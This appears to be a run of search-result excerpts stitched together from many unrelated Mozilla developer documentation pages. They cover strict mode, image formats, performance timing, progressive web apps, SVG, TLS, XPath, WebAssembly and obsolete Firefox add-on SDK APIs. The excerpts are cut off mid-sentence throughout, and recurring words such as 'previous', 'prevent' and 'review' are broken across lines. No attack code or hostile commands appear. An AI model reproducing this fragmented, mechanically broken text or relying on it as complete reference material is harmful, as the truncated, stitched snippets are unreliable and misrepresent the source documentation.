revious arguments remain available through arguments[i], so they're not completely inaccessible. still, this hiding makes little sense and is probably undesirable (it might hide a typo, for example), so in strict mode duplicate argument names are a syntax error: function sum(a, a, c) { // !!! syntax error 'use strict'; return a + a + c; // wrong if thi...
Image file type and format guide - Web media technologies
vide insights that will help you select the most appropriate formats to use for your site's imagery. common image file types there are many image file formats in the world. however, the ones listed below are generally recognized as usable on the web, though bmp is generally not recommended as browser support is potentially constrained; it should usually be avoided for web content. ...
... image file type details the following sections provide a brief overview of each of the image file types supported by web browsers. in the tables below,...
... 8 and 16 each pixel is comprised of four d-pixel color components: red, green, blue, and the alpha sample indicating how opaque the pixel is. compression lossless licensing free and open under the creative commons attribution-sharealike license (cc-by-sa) version 3.0 or later. bmp (bitmap file) the bmp (bitmap image) file type is most p
revalent on windows computers, and is generally used only for special cases in web apps and content. note: you should typically avoid using bmp for web site content, as it's not a generally-accepted use of the format. bmp theoretically supports a variety of internal data representations. the simplest, and most commonly used, form of bmp file is an uncompressed raster image, with each pixel occupy...
Navigation and resource timings - Web Performance
complete all the steps, the performance timing api provides read only measurements of navigation timings. to view and capture our app's timing we enter: let time = window.performance.timing we can then use the results to measure how well our app is performing. the order is: performance timings details navigationstart when the prompt for unload terminates on the p
revious document in the same browsing context. if there is no p
revious document, this value will be the same as performancetiming.fetchstart. secureconnectionstart when the secure connection handshake starts. if no such connection is requested, it returns 0. redirectstart when the first http redirect starts. if there is no redirect, or if one of the redirects is not of the sam...
... the response, or when the connection is closed if this happened first, from the server, the cache, or from a local resource. domloading when the parser started its work, that is when its document.readystate changes to 'loading' and the corresponding readystatechange event is thrown. ...
... first, from the server, the cache, or from a local resource. domloading when the parser started its work, that is when its document.readystate changes to 'loading' and the corresponding readystatechange event is thrown. unloadeventstart when the unload> event has been thrown, indicating the time at which the p
revious document in the window began to unload. if there is no p
revious document, or if the p
revious document or one of the needed redirects is not of the same origin, the value returned is 0. unloadeventend when the unload event handler finishes. if there is no p
revious document, or if the p
revious document, or one of the needed redirects, is not of the same origin, the value returned is 0. dominteractive when the parser finished its work...
Introduction to progressive web apps - Progressive web apps (PWAs)
d with the operating system and therefore offer a more seamless experience for the users. you can install a native app so that it works offline, and users love tapping their icons to easily access their favorite apps, rather than navigating to it using a browser. pwas give us the ability to create web apps that can enjoy these same advantages. it's not a brand new concept—such ideas have been
revisited many times on the web platform with various approaches in the past. progressive enhancement and responsive design already allow us to build mobile friendly websites. pwas, however, provide all this and more without losing any of the existing features that make the web great. what makes an app a pwa? as we hinted at above, pwas are not created with a single technology. they represent a ne...
... app installation. linkability one of the most powerful features of the web is the ability to link to an app at a specific url without the need for an app store or complex installation process. this is how it has always been. network independence modern web apps can work when the network is unreliable, or even non-existent. the basic ideas behind network independence are to be able to:
revisit a site and get its contents even if no network is available. browse any kind of content the user has p
reviously visited at least once, even under situations of poor connectivity. control what is shown to the user in situations where there is no connectivity. this is achieved using a combination of technologies: service workers to control page requests (for example storing them offline), t...
...er, and the notifications api for generating system notifications to help engage users when they're not actively using their web browser. responsiveness responsive web apps use technologies like media queries and viewport to make sure that their uis will fit any form factor: desktop, mobile, tablet, or whatever comes next. safety the web platform provides a secure delivery mechanism that p
revents snooping while simultaneously ensuring that content hasn’t been tampered with, as long as you take advantage of https and develop your apps with security in mind. it's also easy for users to ensure that they're installing the right app, because its url will match your site's domain. this is very different from apps in app stores, which may have a number of similarly-named apps, some of whi...
Progressive loading - Progressive web apps (PWAs)
in this article we will go even further and improve the performance of the app by progressively loading its resources. first meaningful paint it's important to deliver something meaningful to the user as soon as possible — the longer they wait for the page to load, the bigger the chance they will leave before waiting for everything to finish. we should be able to show them at least the basic view of the page they want to see, with placeholders in the places more content will eventually be loaded. ...
...nice transition effect in the process. the problem is that it still loads all the images at once, even though the user will only see the first two or three upon page load. this problem can be solved with the new intersection observer api — using this we can ensure that images will be loaded only when they appear in the viewport. intersection observer this is a progressive enhancement to the p
reviously working example — intersection observer will load target images only when the user scrolls down, causing them to display in the viewport. here's what the relevant code looks like: if('intersectionobserver' in window) { const observer = new intersectionobserver((items, observer) => { items.foreach((item) => { if(item.isintersecting) { loadimages(item.target); ...
...ained push with help from the service worker cookbook. ...
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
in this article, we look at how it is used in our js13kpwa example (see the source code also). we examine how to add offline functionality. service workers explained service workers are a virtual proxy between the browser and the network. they finally fix issues that front-end developers have struggled with for years — most notably how to properly cache the assets of a website and make them available when the user’s device is offline. ...
...n this updates to v2, we can then add all of our files (including our new files) to a new cache: contenttocache.push('/pwa-examples/js13kpwa/icons/icon-32.png'); // ... self.addeventlistener('install', (e) => { e.waituntil( caches.open('js13kpwa-v2').then((cache) => { return cache.addall(contenttocache); }) ); }); a new service worker is installed in the background, and the p
revious one (v1) works correctly up until there are no pages using it — the new service worker is then activated and takes over management of the page from the old one. clearing the cache remember the activate event we skipped? it can be used to clear out the old cache we don't need anymore: self.addeventlistener('activate', (e) => { e.waituntil( caches.keys().then((keylist) => { ...
...rces. ...
in2 - SVG: Scalable Vector Graphics
hree elements use this attribute: <feblend>, <fecomposite> and <fedisplacementmap>. feblend for <feblend>, in2 defines the second input image to the blending operation. ...
...ise result of p
revious filter primitive animatable yes fecomposite for <fecomposite>, in2 defines the second input image to the compositing operation. value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of p
revious filter primitive animatable yes fedisplacementmap for <fedisplacementmap>, in2 defines the second input image, which is used to displace the pixels in the image defined in the in attribute. value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for f...
... yes fedisplacementmap for <fedisplacementmap>, in2 defines the second input image, which is used to displace the pixels in the image defined in the in attribute. value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of p
revious filter primitive animatable yes specifications specification status comment filter effects module level 1the definition of 'in2 for <fedisplacementmap>' in that specification. working draft no change filter effects module level 1the definition of 'in2 for <fecomposite>' in that specification. working draft no change ...
SVG documentation index - SVG: Scalable Vector Graphics
imensional based vector graphics.xml 2 applying svg effects to html content css, guide, html, svg modern browsers support using svg within css styles to apply graphical effects to html content. 3 compatibility sources svg the following sources are used for the compatibility tables on svg elements and attributes: 4 content type needstechnical
review, svg, types, data types svg makes use of a number of data types. this article lists these types along with their syntax and descriptions of what they're used for. 5 linking guide, svg the target attribute on the svg <a> element doesn't work in mozilla firefox 1.5. when svg documents are embedded within a parent html document using the tag: 6 namespaces cra...
...ansform svg, svg attribute the gradienttransform attribute contains the definition of an optional additional transformation from the gradient coordinate system onto the target coordinate system (i.e., userspaceonuse or objectboundingbox). this allows for things such as skewing the gradient. this additional transformation matrix is post-multiplied to (i.e., inserted to the right of) any p
reviously defined transformations, including the implicit transformation necessary to convert from object bounding box units to user space. 98 gradientunits needscompattable, needsexample, svg, svg attribute the gradientunits attribute defines the coordinate system used for attributes specified on the gradient elements. 99 hanging deprecated, svg, svg attribute ...
... a view is a defined way to view the image, like a zoom level or a detail view. 378 <vkern> deprecated, element, needsexample, reference, svg, svg font the <vkern> svg element allows to fine-tweak the vertical distance between two glyphs in top-to-bottom fonts. this process is known as kerning. 379 scripting graphics, svg, scripting, default, eventlisteners, p
reventing, setproperty one can override default browser behaviors with the evt.p
reventdefault( ) method, add eventlisteners to objects with the syntax element.addeventlistener(event, function, usecapture), and set element properties with syntax svgelement.style.setproperty("fill-opacity", "0.0", ""). note the existence of all three arguments setting properties. 380 server configurati...
Basic Transformations - SVG: Scalable Vector Graphics
but first, let's formally introduce the <g> element. with this helper, you can assign properties to a complete set of elements. actually, that's its only purpose. an example: <svg width="30" height="10"> <g fill="red"> <rect x="0" y="0" width="10" height="10" /> <rect x="20" y="0" width="10" height="10" /> </g> </svg> all following transformations are summed up in an element's transform attribute. transformations can be chained simply by concatenating them, separated by whitespace. translation it may be necessary to move an element around, even though you can position it with the according attributes. ...
...to the original. for example, 0.5 shrinks by 50%. if the second number is omitted, it is assumed to be equal to the first. complex transformations with matrix() all the above transformations can be expressed by a 2x3 transformation matrix. to combine several transformations, one can set the resulting matrix directly with the matrix(a, b, c, d, e, f) transformation which maps coordinates from a p
revious coordinate system into a new coordinate system by {xnewcoordsys=axp
revcoordsys+cyp
revcoordsys+eynewcoordsys=bxp
revcoordsys+dyp
revcoordsys+f\left{ \begin{matrix} x_{\mathrm{p
revcoordsys}} = a x_{\mathrm{newcoordsys}} + c y_{\mathrm{newcoordsys}} + e \\ y_{\mathrm{p
revcoordsys}} = b x_{\mathrm{newcoordsys}} + d y_{\mathrm{newcoordsys}} + f \end{matrix} \right. see a concrete example on the s...
...ystems by utilizing the viewbox, width and height of the inner svg element. <svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="100" height="100"> <svg width="100" height="100" viewbox="0 0 50 50"> <rect width="50" height="50" /> </svg> </svg> the example above has basically the same effect as the one above, namely that the rect will be twice as large as specified. « p
reviousnext » ...
Filter effects - SVG: Scalable Vector Graphics
« p
reviousnext » there are situations, where basic shapes do not provide the flexibility you need to achieve a certain effect. drop shadows, to provide a popular example, cannot be created reasonably with a combination of gradients. filters are svg's mechanism to create sophisticated effects. a basic example is to add a blur effect to svg content. while basic blurs can be achieved with the help of gradients, the blur filter is needed to do anything beyond. example filters are defined by <filter> element, which should be put in the <defs> section of your svg file. between the filter tags, goes a list of primitives, basic operations that build on top of the p
revious operations (like blurring, adding a lighting effect, etc). to apply your created filter on a graphic element,...
...tep 1 <fegaussianblur in="sourcealpha" stddeviation="4" result="blur"/> <fegaussianblur> takes in "sourcealpha", which is the alpha channel of the source graphic, applies a blur of 4, and stores the result in a temporary buffer named "blur". step 2 <feoffset in="blur" dx="4" dy="4" result="offsetblur"/> <feoffset> takes in "blur", which we p
reviously created, shifts the result 4 to the right and 4 to the bottom, and stores the result in the buffer "offsetblur". the two first primitives just created a drop shadow. step 3 <fespecularlighting in="offsetblur" surfacescale="5" specularconstant=".75" specularexponent="20" lighting-color="#bbbbbb" result="specout"> <fepointlight x...
...tores the result in "litpaint". ...
Getting started - SVG: Scalable Vector Graphics
take a look at the following code. <svg version="1.1" baseprofile="full" width="300" height="200" xmlns="http://www.w3.org/2000/svg"> <rect width="100%" height="100%" fill="red" /> <circle cx="150" cy="100" r="80" fill="green" /> <text x="150" y="125" font-size="60" text-anchor="middle" fill="white">svg</text> </svg> copy the code and paste it in a file demo1.svg. then open the file in firefox. it will render as shown in the following screenshot. ...
...nt to be: in this case, the midpoint should correspond to the center of the green circle. fine adjustments can be made to the font size and vertical position to ensure the final result is aesthetically pleasing. basic properties of svg files the first important thing to notice is the order of rendering elements. the globally valid rule for svg files is, that later elements are rendered atop p
revious elements. the further down an element is the more it will be visible. svg files on the web can be displayed directly in the browser or embedded in html files via several methods: if the html is xhtml and is delivered as type application/xhtml+xml, the svg can be directly embedded in the xml source. if the html is html5, and the browser is a conforming html5 browser, the svg can also...
...n the w3.org for a range of simple solutions. ...
Gradients in SVG - SVG: Scalable Vector Graphics
there are two types of gradients: linear and radial. you must give the gradient an id attribute; otherwise it can't be referenced by other elements inside the file. gradients are defined in a defs section as opposed to on a shape itself to promote reusability. linear gradient linear gradients change along a straight line. to insert one, you create a <lineargradient> node inside the definitions section of your svg file. ...
...is the spreadmethod attribute. this attribute controls what happens when the gradient reaches its end, but the object isn't filled yet. it can take on one of three values, "pad", "reflect", or "repeat". "pad" is what you have seen so far. when the gradient reaches its end, the final offset color is used to fill the rest of the object. "reflect" causes the gradient to continue on, but reflected in
reverse, starting with the color offset at 100% and moving back to the offset at 0%, and then back up again. "repeat" also lets the gradient continue, but instead of going backwards, it just jumps back to the beginning and runs again. spreadmethod <?xml version="1.0" standalone="no"?> <svg width="220" height="220" version="1.1" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id=...
...lso then apply another transformation to the gradient by using the gradienttransform attribute, but since we haven't introduced transforms yet, i'll leave that for later. there are some other caveats for dealing with gradientunits="objectboundingbox" when the object bounding box isn't square, but they're fairly complex and will have to wait for someone more in-the-know to explain them. « p
reviousnext » ...
Transport Layer Security - Web security
lt. https remains an important use case for tls. http over tls tls provides three primary services that help ensure the safety and security of data exchanged with it: authentication authentication lets each party to the communication verify that the other party is who they claim to be. encryption data is encrypted while being transmitted between the user agent and the server, in order to p
revent it from being read and interpreted by unauthorized parties. integrity tls ensures that between encrypting, transmitting, and decrypting the data, no information is lost, damaged, tampered with, or falsified. a tls connection starts with a handshake phase where a client and server agree on a shared secret and important parameters, like cipher suites, are negotiated. once parameters and a da...
... servers: apache nginx lighttpd haproxy amazon web services cloudformation elastic load balancer using the configurator is a recommended way to create the configuration to meet your needs; then copy and paste it into the appropriate file on your server and restart the server to pick up the changes. the configuration file may need some adjustments to include custom settings, so be sure to
review the generated configuration before using it; installing the configuration file without ensuring any references to domain names and the like are correct will result in a server that just doesn't work. tls 1.3 rfc 8446: tls 1.3 is a major
revision to tls. tls 1.3 includes numerous changes that improve security and performance. the goals of tls 1.3 are: remove unused and unsafe features of t...
... includes numerous changes that improve security and performance. the goals of tls 1.3 are: remove unused and unsafe features of tls 1.2. include strong security analysis in the design. improve privacy by encrypting more of the protocol. reduce the time needed to complete a handshake. tls 1.3 changes much of the protocol fundamentals, but preserves almost all of the basic capabilities as p
revious versions of tls. for the web, tls 1.3 can be enabled without affecting compatibility with some rare exceptions (see below). the major changes in tls 1.3 are: the tls 1.3 handshake completes in one round trip in most cases, reducing handshake latency. a server can enable a 0-rtt (zero round trip time) handshake. clients that reconnect to the server can send requests immediately, eliminati...
Index - XPath
s' section in the xpath spec. 3 ancestor axe, xpath no summary! 4 ancestor-or-self axe, xpath the ancestor-or-self axis indicates the context node and all of its ancestors, including the root node. 5 attribute axe, xpath the attribute axis indicates the attributes of the context node. only elements have attributes. this axis can be abb
reviated with the at sign (@). 6 child axe, xpath the child axis indicates the children of the context node. if an xpath expression does not specify an axis, the child axis is understood by default. since only the root node or element nodes have children, any other use will select nothing. 7 descendant axe, xpath the descendant axis indicates all of the child...
... 10 following-sibling axe, xpath the following-sibling axis indicates all the nodes that have the same parent as the context node and appear after the context node in the source document. 11 namespace axe, xpath (not supported) 12 parent axe, xpath the parent axis indicates the single node that is the parent of the context node. it can be abb
reviated as two periods (..). 13 preceding axe, xpath the preceding axis indicates all the nodes that precede the context node in the document except any ancestor, attribute and namespace nodes. 14 preceding-sibling axe, xpath the preceding-sibling axis indicates all the nodes that have the same parent as the context node and appear before the context node in...
...ede the context node in the document except any ancestor, attribute and namespace nodes. 14 preceding-sibling axe, xpath the preceding-sibling axis indicates all the nodes that have the same parent as the context node and appear before the context node in the source document. 15 self axe, xpath the self axis indicates the context node itself. it can be abb
reviated as a single period (.). 16 comparison of css selectors and xpath css, draft, needscontent, reference, selectors, xpath this article seeks to document the difference between css selectors and xpath for web developers to be able to better choose the right tool for the right job. 17 functions transforming_xml_with_xslt, xpath, xpath_reference, xslt, xslt_refe...
Understanding WebAssembly text format - WebAssembly
2 parameter, local.get 1 would get the f32 parameter, and local.get 2 would get the f64 local. there is another issue here — using numeric indices to refer to items can be confusing and annoying, so the text format allows you to name parameters, locals, and most other items simply by including a name prefixed by a dollar symbol ($) just before the type declaration. thus you could rewrite our p
revious signature like so: (func (param $p1 i32) (param $p2 f32) (local $loc f64) …) and then could write local.get $p1 instead of local.get 0, etc. (note that when this text gets converted to binary, though, the binary will contain only the integer.) stack machines before we can write a function body, we have to talk about one more thing: stack machines. although the browser compiles it to so...
.... although the browser compiles it to something more efficient, wasm execution is defined in terms of a stack machine where the basic idea is that every type of instruction pushes and/or pops a certain number of i32/i64/f32/f64 values to/from a stack. for example, local.get is defined to push the value of the local it read onto the stack, and i32.add pops two i32 values (it implicitly grabs the p
revious two values pushed onto the stack), computes their sum (modulo 2^32) and pushes the resulting i32 value. when a function is called, it starts with an empty stack which is gradually filled up and emptied as the body’s instructions are executed. so for example, after executing the following function: (func (param $p i32) (result i32) local.get $p local.get $p i32.add) the stack cont...
...store 42 at address 0 i32.const 0 call_indirect (type $void_to_i32)) ) these work as follows: the function shared0func is defined in shared0.wat, and stored in our imported table. this function creates a constant containing the value 0, and then uses the i32.load command to load the value contained in the provided memory index. the index provided is 0 — again, it implicitly pops the p
revious value off the stack. so shared0func loads and returns the value stored at memory index 0. in shared1.wat, we export a function called doit — this function creates two constants containing the values 0 and 42, then calls i32.store to store a provided value at a provided index of the imported memory. again, it implicitly pops these values off the stack, so the result is that it stores the va...
Communicating With Other Scripts - Archive of obsolete content
here "main.js" creates a page-mod that attaches "listen.js" to the web page: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/talk.html", contentscriptfile: data.url("listen.js") }); the web page "talk.html" embeds a script that uses window.postmessage() to send the content script a message when the user cli...
...also, there's no need to clone the message when using custom dom events in this direction. in this example, "main.js" creates a page-mod to target the page we are interested in: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/talk.html", contentscriptfile: data.url("listen.js") }); the web page "talk.html" ...
Reddit Example - Archive of obsolete content
defined click event which in turn passes the url into the open function of the tabs module. this is the panel.js content script that intercepts link clicks: $(window).click(function (event) { var t = event.target; // don't intercept the click if it isn't on a link. ...
...t that intercepts link clicks: $(window).click(function (event) { var t = event.target; // don't intercept the click if it isn't on a link. if (t.nodename != "a") return; // don't intercept the click if it was on one of the links in the header // or next/p
revious footer, since those links should load in the panel itself. if ($(t).parents('#header').length || $(t).parents('.nextp
rev').length) return; // intercept the click, passing it to the addon, which will load it in a tab. event.stoppropagation(); event.p
reventdefault(); self.port.emit('click', t.tostring()); }); this script uses jquery to interact with the dom of the page and the self.port.emit function to pass urls back to the add-on script. to run this example you'll also have to have an icon file name...
Communicating using "port" - Archive of obsolete content
page-mod's constructor you can register to receive messages from the content script, and take a reference to the worker so as to emit messages to the content script. ...
...ng. function getfirstparagraph() { var paras = document.getelementsbytagname('p'); console.log(paras[0].textcontent); self.port.removelistener("get-first-para", getfirstparagraph); } self.port.on("get-first-para", getfirstparagraph); the result is that the paragraph is only logged the first time the button is clicked. due to bug 816272 the page-mod's removelistener() function does not p
revent the listener from receiving messages that are already queued. this means that if "main.js" sends the message twice in successive lines, and the listener stops listening as soon as it receives the first message, then the listener will still receive the second message. port.once() often you'll want to receive a message just once, then stop listening. the port object offers a shortcut to do thi...
Private Properties - Archive of obsolete content
ion () { return this._x; }; point.prototype.setx = function (x) { this._x = x; }; point.prototype.gety = function () { return this._y; }; point.prototype.sety = function (y) { this._y = y; }; the above technique is simple and clearly expresses intent. however, the use of an underscore prefix is just a coding convention and is not enforced by the language: there is nothing to p
revent a user from directly accessing a property that is supposed to be private. using closures another common technique, is to define private properties as variables and their getter and setter functions as a closure over these variables: function point(_x, _y) { this.getx = function () { return _x; }; this.setx = function (x) { _x = x; }; this.gety = functio...
...from none of the problems we mentioned earlier. when a thumbnail's image goes out of scope, the weakmap ensures that its entry in the thumbnail cache will eventually be garbage collected. as a final caveat: the image cache created earlier suffers from the same problem, so for the above code to work properly, the image cache must be rewritten using weakmaps too. from weakmap to namespace in the p
revious section, a separate weakmap was used to associate each private property with an object. this is cumbersome if the number of private properties becomes large. a better solution would be to store all private properties on a single object, called a namespace, and then store the namespace as a private property on the original object. using namespaces, the earlier example can be rewritten as: let...
XUL Migration Guide - Archive of obsolete content
to inject code into your add-on, it can't use the sdk's file module to access the user's data. but this means that the more powerful modules you require(), the greater is your exposure if your add-on is compromised. low-level modules like xhr, tab-browser and window-utils are much more powerful than the modules in addon-kit, so your add-on needs correspondingly more rigorous security design and
review. using xpcom this example uses the action button api, which is only available from firefox 29 onwards. finally, if none of the above techniques work for you, you can use the require("chrome") statement to get direct access to the components object, which you can then use to load and access any xpcom object. the following complete add-on uses nsipromptservice to display an alert dialog: ...
... security implications we saw above that using powerful low-level modules like tab-browser increases the damage that a malicious web page could do if it were able to inject code into your add-ons context. this applies with even greater force to require("chrome"), since this gives full access to the browser's capabilities. example: porting the library detector porting th...
context-menu - Archive of obsolete content
n those contexts go away, you bind items to contexts, and the adding and removing is automatically handled for you. items are bound to contexts in much the same way that event listeners are bound to events. when the user invokes the context menu, all of the items bound to the current context are automatically added to the menu. if no items are bound, none are added. likewise, any items that were p
reviously in the menu but are not bound to the current context are automatically removed from the menu. you never need to manually remove your items from the menu unless you want them to never appear again. for example, if your add-on needs to add a context menu item whenever the user visits a certain page, don't create the item when that page loads, and don't remove it when the page unloads. rather...
...le property. see working with content scripts for more information. warning: unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have problems getting your add-on approved on amo. instead, keep the script in a separate file and load it using contentscriptfile. this makes your code easier to maintain, secure, debug and
review. show an "edit page source" item when the user right-clicks a non-interactive part of the page: require("sdk/context-menu").item({ label: "edit page source", contentscript: 'self.on("click", function (node, data) {' + ' self.postmessage(document.url);' + '});', onmessage: function (pageurl) { editsource(pageurl); } }); show an "edit image" ite...
page-mod - Archive of obsolete content
mod({ include: "*.mozilla.org", contentscriptfile: "./my-script.js" }); unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have problems getting your add-on approved on amo. instead, keep the script in a separate file and load it using contentscriptfile. this makes your code easier to maintain, secure, debug and
review. a page-mod only attaches scripts to documents loaded in tabs. it will not attach scripts to add-on panels, page-workers, sidebars, or firefox hidden windows. to stop a page-mod from making any more modifications, call its destroy() method. the pagemod constructor takes a number of other options to control its behavior: contentstyle lists stylesheets to attach, supplied as str...
...his option are loaded after those specified by the contentscriptfile option. unless your content script is extremely simple and consists only of a static string, don't use contentscript: if you do, you may have problems getting your add-on approved on amo. instead, keep the script in a separate file and load it using contentscriptfile. this makes your code easier to maintain, secure, debug and
review. name: contentscriptwhen type: string by default, content scripts are attached after all the content (dom, js, css, images) for the document has been loaded, at the time the window.onload event fires. using this option you can customize this behavior. the option takes a single string that may take any one of the following values: "start": load content scripts immediately after ...
timers - Archive of obsolete content
k : function function to be called. ms : integer interval in milliseconds after which the function will be called. returns integer : an id that can later be used to undo this scheduling, if callback hasn't yet been called. example var { settimeout } = require("sdk/timers"); settimeout(function() { // do something in 0 ms }, 0) cleartimeout(id) given an id returned from settimeout(), p
revents the callback with the id from being called (if it hasn't yet been called). parameters id : integer an id returned from settimeout(). example var { settimeout, cleartimeout } = require("sdk/timers"); var id = settimeout(function() { // do something in 1 sec }, 1000); // to stop/cancel this timeout cleartimeout(id); setinterval(callback, ms) schedules callback to be called repeatedl...
...ack. parameters callback : function function to be called. ms : integer interval in milliseconds at which the function will be called. returns integer : an id that can later be used to unschedule the callback. example var { setinterval } = require("sdk/timers"); setinterval(function() { // do something every 1 sec }, 1000) clearinterval(id) given an id returned from setinterval(), p
revents the callback with the id from being called again. parameters id : integer an id returned from setinterval(). example var { setinterval, clearinterval } = require("sdk/timers"); var id = setinterval(function() { // do something every 1 sec // to stop/cancel this interval clearinterval(id); }, 1000); ...
places/bookmarks - Archive of obsolete content
the array, // although it needs to be saved since all bookmarks are children // of `group`. this will be saved implicitly. save(bookmarks).on("data", function (saved, input) { // a data event is called once for each item saved, as well // as implicit items, like `group` console.log(input === group || ~bookmarks.indexof(input)); // true }).on("end", function (saves, inputs) { // like the p
revious example, the "end" event returns an // array of all of our updated saves. only explicitly saved // items are returned in this array -- the `group` won't be // present here. console.log(saves[0].title); // "ran" console.log(saves[2].group.title); // "guitars" }); searching for bookmarks bookmarks can be queried with the search() function, which accepts a query object or an array of...
...es for a bookmark item, in addition to a type property of 'bookmark', 'group', or 'separator') an array of bookmark items. all of the items passed in are pushed to the platform and are either created, updated or deleted. adding items: if passing in freshly instantiated bookmark items or a duck-typed object, the item is created on the platform. updating items: for an item referenced from a p
revious save() or from the result of a search() query, changing the properties and calling save() will update the item on the server. deleting items: to delete a bookmark item, pass in a bookmark item with a property remove set to true. the function returns a placesemitter that emits a data event for each item as it is saved, and an end event when all items have been saved. let { bookmark, group ...
cfx - Archive of obsolete content
-o, --overload-modules in early versions of the sdk, the sdk modules used by an add-on were themselves included in the add-on. the sdk modules now ship as part of firefox. from firefox 21 onwards, sdk add-ons built with sdk 1.14 or higher will use the sdk modules that are built into firefox, even if the add-on includes its own copies of the sdk modules. use this flag to
reverse that behavior: if this flag is set and the add-on includes its own copies of the sdk modules, then the add-on will use the sdk modules in the add-on, not the ones built into firefox. this flag is particularly useful for sdk developers or people working with the development version of the sdk, who may want to run an add-on using newer versions of the modules than than those shipping in fi...
... -o, --overload-modules in early versions of the sdk, the sdk modules used by an add-on were themselves included in the add-on. the sdk modules now ship as part of firefox. from firefox 21 onwards, sdk add-ons built with sdk 1.14 or higher will use the sdk modules that are built into firefox, even if the add-on includes its own copies of the sdk modules. use this flag to
reverse that behavior: if this flag is set and the add-on includes its own copies of the sdk modules, then the add-on will use the sdk modules in the add-on, not the ones built into firefox. this flag is particularly useful for sdk developers or people working with the development version of the sdk, who may want to run an add-on using newer versions of the modules than than those shipping in fi...
Creating Event Targets - Archive of obsolete content
queryinterface: xpcomutils.generateqi([ci.nsinavbookmarkobserver]) }; bookmarkservice.addobserver(bookmarkobserver, false); exports.on = on.bind(null, exports); exports.once = once.bind(null, exports); exports.removelistener = function removelistener(type, listener) { off(exports, type, listener); }; this code implements a module which can emit added and visited events. it duplicates the p
revious code, but with a few changes: import emit(), on(), once(), and off() from event/core replace listener functions with calls to emit(), passing the appropriate event type export its own event api. this consists of three functions: on(): start listening for events or a given type once(): listen for the next occurrence of a given event, and then stop removelistener(): stop listen...
...us merge(), which just simplifies setting up the bookmarkmanager's properties we use class to inherit from eventtarget. ...
File I/O - Archive of obsolete content
se nsifileurl: // url is a nsiuri; see nsiioservice::newuri for getting a string into a nsiuri. var file = url.queryinterface(components.interfaces.nsifileurl).file; // file is a nsifile to load from file://, http://, chrome://, resource:// and other urls directly, use xmlhttprequest or netutil.asyncfetch(). also note that generally you don't need to use nsifile::path. use nsifile directly whe
rever possible. an example below shows how you should save a path in user prefs. storing nsifile in preferences the following two snippets show the right way to store a file path in user preferences (more about preferences in mozilla): absolute path (nsifile) to store an arbitrary path in user preferences, use this code: // |file| is nsilocalfile. uses services.jsm. // 1. write path to prefs var...
...); netutil.asyncfetch(file, function(inputstream, status) { if (!components.issuccesscode(status)) { // handle error! return; } // the file data is contained within inputstream. // you can read it into a string with var data = netutil.readinputstreamtostring(inputstream, inputstream.available()); }); read with content type hint it's useful to provide a content type hint to p
revent the file system from doing a potentially expensive content type look up (which would be synchronous i/o). in this case an nsichannel object has to be explicitly created from the file: components.utils.import("resource://gre/modules/netutil.jsm"); // content type hint is useful on mobile platforms where the filesystem // would otherwise try to determine the content type. var channel = netutil.
Forms related code snippets - Archive of obsolete content
ext" readonly class="date-picker" name="date-from" /> to: <input type="text" readonly class="date-picker" name="date-to" /> </p> </form> </body> </html> note: the current implementation of const (constant statement) is not part of ecmascript 5. it is supported in firefox & chrome (v8) and partially supported in opera 9+ and safari. it is not supported in internet explorer 6-9, or in the p
review of internet explorer 10. const is going to be defined by ecmascript 6, but with different semantics. similar to variables declared with the let statement, constants declared with const will be block-scoped. we used it only for didactic purpose. if you want a full browser compatibility of this library, please replace all the const statements with the var statements. this date-picker code snipp...
...ou want to emulate an editable select through a <fieldset> of radioboxes and textboxes (written in pure css, without javascript), please see this example. autogrowing <textarea> this example shows how to make a textarea really autogrowing during a typing. insert some custom text in a <textarea> this example shows how to insert some html tags or smiles or any custom text in a textarea. image p
review before upload the filereader.prototype.readasdataurl() method can be useful, for example, to get a p
review of an image before uploading it.[article] this example shows how to use it in this way. note: the filereader() constructor was not supported by internet explorer for versions before 10. for a full compatibility code you can see our crossbrowser possible solution for image p
review. filt...
Examples and demos from articles - Archive of obsolete content
tion. a possible approach to solve this problem is to nest all the informations needed by each animation to start, stop, etc. etc. in different objects and then to create a constructor for such class of objects in order to standardize and simplify the instantiation of them. here is a possible and minimalist example of such abstraction, which for this reason we named minidaemon. [article] image p
review before upload [html] the filereader.prototype.readasdataurl() method is useful, for example, to get a p
review of an image before uploading it. [article] note: the filereader() constructor was not supported by internet explorer for versions before 10. for a full compatibility code, see also our crossbrowser possible solution for image p
review. determine if an element has been totally scrol...
...the :hover pseudo-class you can create complex cascade algorithms. this is a common technique used, for example, in order to create pure-css dropdown menus (that is only css, without using javascript). .[article] pure-css web gallery based on the :hover pseudoclass [zip] you can use the :hover pseudo-class in order to build an image gallery with full-size images shown only when mouse goes over p
reviews. .[article] pure-css web gallery based on the :checked pseudoclass [zip] you can also use the :checked pseudo-class applied to hidden radioboxes in order to build, for example, an image gallery with full-size images shown only when mouse clicks on p
reviews. [article] pure-css tooltips [html] this shows the use of the ::after pseudo-element in conjunction with the attr() css expression and...
Miscellaneous - Archive of obsolete content
var inputlist = pagedoc.getelementsbytagname('input'); for (var i=1; i<inputlist.length; i++) { inputlist.item(i). addeventlistener("focus", function(e) {onfocusinput(e);}, false); inputlist.item(i). ...
...however, if you are not going to cancel the request, you need to "rewind" it by calling: postdata.queryinterface(ci.nsiseekablestream).seek(ci.nsiseekablestream.ns_seek_set, 0); adding custom certificates to a xulrunner application you need to ship a xulrunner application with your own ssl certificates? for firefox, you could use the client customizatio...
Preferences - Archive of obsolete content
.getservice(components.interfaces.nsiprefservice).getbranch("accessibility."); // prefs is an nsiprefbranch. // look in the above section for examples of getting one. var value = prefs.getboolpref("typeaheadfind"); // get a pref (accessibility.typeaheadfind) prefs.setboolpref("typeaheadfind", !value); // set a pref (accessibility.typeaheadfind) complex types as noted in the p
